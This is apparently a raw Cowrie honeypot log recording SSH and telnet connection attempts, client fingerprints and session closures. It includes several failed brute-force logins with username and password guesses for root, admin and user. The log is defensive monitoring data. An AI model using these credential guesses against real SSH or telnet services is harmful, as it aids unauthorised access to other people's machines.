{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:22.834960Z","src_ip":"147.45.199.80","session":"ab424630f171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35960,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0ae4781692","protocol":"telnet","message":"New connection: 192.119.13.58:35960 (10.17.0.5:23) [session: 8c0ae4781692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:29.127311Z"}
{"eventid":"cowrie.session.closed","duration":3.243238687515259,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:32.370428Z","src_ip":"192.119.13.58","session":"8c0ae4781692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58976,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c40e2eec49","protocol":"telnet","message":"New connection: 192.119.13.58:58976 (10.17.0.5:23) [session: 63c40e2eec49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:34.730280Z"}
{"eventid":"cowrie.session.closed","duration":38.914220571517944,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:43.271719Z","src_ip":"192.119.13.58","session":"81ed3ca88e2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f18256fa2077","protocol":"ssh","message":"New connection: 194.113.233.25:51064 (10.17.0.5:22) [session: f18256fa2077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:43.469391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:43.474140Z","src_ip":"194.113.233.25","session":"f18256fa2077","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:43.568653Z","src_ip":"194.113.233.25","session":"f18256fa2077","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456p","message":"login attempt [root/123456p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:43.855212Z","src_ip":"194.113.233.25","session":"f18256fa2077","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:44.964369Z","src_ip":"194.113.233.25","session":"f18256fa2077","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53156,"dst_ip":"10.17.0.5","dst_port":23,"session":"e74e50f5e6bc","protocol":"telnet","message":"New connection: 192.119.13.58:53156 (10.17.0.5:23) [session: e74e50f5e6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:47.452640Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57808,"dst_ip":"10.17.0.5","dst_port":23,"session":"2840442fb4bc","protocol":"telnet","message":"New connection: 192.119.13.58:57808 (10.17.0.5:23) [session: 2840442fb4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:48.561779Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35782,"dst_ip":"10.17.0.5","dst_port":22,"session":"872c728cf4ed","protocol":"ssh","message":"New connection: 103.122.221.179:35782 (10.17.0.5:22) [session: 872c728cf4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:50.258523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:50.263527Z","src_ip":"103.122.221.179","session":"872c728cf4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:50.524380Z","src_ip":"103.122.221.179","session":"872c728cf4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdopi123","message":"login attempt [root/asdopi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:51.304055Z","src_ip":"103.122.221.179","session":"872c728cf4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.80603790283203,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:52.308587Z","src_ip":"192.119.13.58","session":"883eba251e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44276,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0ffcc18a1d6","protocol":"telnet","message":"New connection: 192.119.13.58:44276 (10.17.0.5:23) [session: d0ffcc18a1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:52.346845Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:52.570455Z","src_ip":"103.122.221.179","session":"872c728cf4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45978,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00ed5861960","protocol":"telnet","message":"New connection: 192.119.13.58:45978 (10.17.0.5:23) [session: c00ed5861960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:52.758624Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47158,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eb47c172360","protocol":"telnet","message":"New connection: 192.119.13.58:47158 (10.17.0.5:23) [session: 1eb47c172360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:53.032890Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":4224,"dst_ip":"10.17.0.5","dst_port":22,"session":"8282f692b3ab","protocol":"ssh","message":"New connection: 38.93.206.2:4224 (10.17.0.5:22) [session: 8282f692b3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:57.964341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:57.969318Z","src_ip":"38.93.206.2","session":"8282f692b3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:58.037837Z","src_ip":"38.93.206.2","session":"8282f692b3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123654","message":"login attempt [root/q123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:58.196642Z","src_ip":"38.93.206.2","session":"8282f692b3ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.636210918426514,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:58.801645Z","src_ip":"192.119.13.58","session":"6069ee764f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42592,"dst_ip":"10.17.0.5","dst_port":23,"session":"7373678c6dd9","protocol":"telnet","message":"New connection: 192.119.13.58:42592 (10.17.0.5:23) [session: 7373678c6dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:58.926095Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:59.249146Z","src_ip":"38.93.206.2","session":"8282f692b3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30249,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d12727dd68f","protocol":"ssh","message":"New connection: 2.57.121.112:30249 (159.203.135.109:22) [session: 7d12727dd68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:00.181483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:00.191434Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:00.297549Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280883","message":"login attempt [admin/280883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:00.792662Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2808","message":"login attempt [admin/2808] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:01.901185Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280792","message":"login attempt [admin/280792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:03.010776Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280787","message":"login attempt [admin/280787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:04.123681Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28071969","message":"login attempt [admin/28071969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:05.232028Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41278,"dst_ip":"10.17.0.5","dst_port":23,"session":"55c76faa8478","protocol":"telnet","message":"New connection: 192.119.13.58:41278 (10.17.0.5:23) [session: 55c76faa8478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:05.827861Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:06.342082Z","src_ip":"2.57.121.112","session":"7d12727dd68f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.63011145591736,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:12.360263Z","src_ip":"192.119.13.58","session":"63c40e2eec49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.42350649833679,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:27.876046Z","src_ip":"192.119.13.58","session":"e74e50f5e6bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55052089691162,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:29.897235Z","src_ip":"192.119.13.58","session":"d0ffcc18a1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":48206,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec77ba3bb1b","protocol":"ssh","message":"New connection: 186.219.184.142:48206 (10.17.0.5:22) [session: 0ec77ba3bb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:30.310058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:30.315672Z","src_ip":"186.219.184.142","session":"0ec77ba3bb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:30.454091Z","src_ip":"186.219.184.142","session":"0ec77ba3bb1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qq123456","message":"login attempt [user/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:31.041837Z","src_ip":"186.219.184.142","session":"0ec77ba3bb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:32.183940Z","src_ip":"186.219.184.142","session":"0ec77ba3bb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.208829164505005,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:33.967326Z","src_ip":"192.119.13.58","session":"c00ed5861960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.23034954071045,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:34.263076Z","src_ip":"192.119.13.58","session":"1eb47c172360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60234,"dst_ip":"10.17.0.5","dst_port":23,"session":"6324c0afe1de","protocol":"telnet","message":"New connection: 192.119.13.58:60234 (10.17.0.5:23) [session: 6324c0afe1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:39.217173Z"}
{"eventid":"cowrie.session.closed","duration":52.03287196159363,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:40.594708Z","src_ip":"192.119.13.58","session":"2840442fb4bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.51759886741638,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:44.345311Z","src_ip":"192.119.13.58","session":"55c76faa8478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":48556,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fed916f23ae","protocol":"ssh","message":"New connection: 147.45.197.250:48556 (10.17.0.5:22) [session: 9fed916f23ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:49.732647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:49.741474Z","src_ip":"147.45.197.250","session":"9fed916f23ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:49.831846Z","src_ip":"147.45.197.250","session":"9fed916f23ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.93945670127869,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:49:49.865288Z","src_ip":"192.119.13.58","session":"7373678c6dd9","protocol":"telnet"}
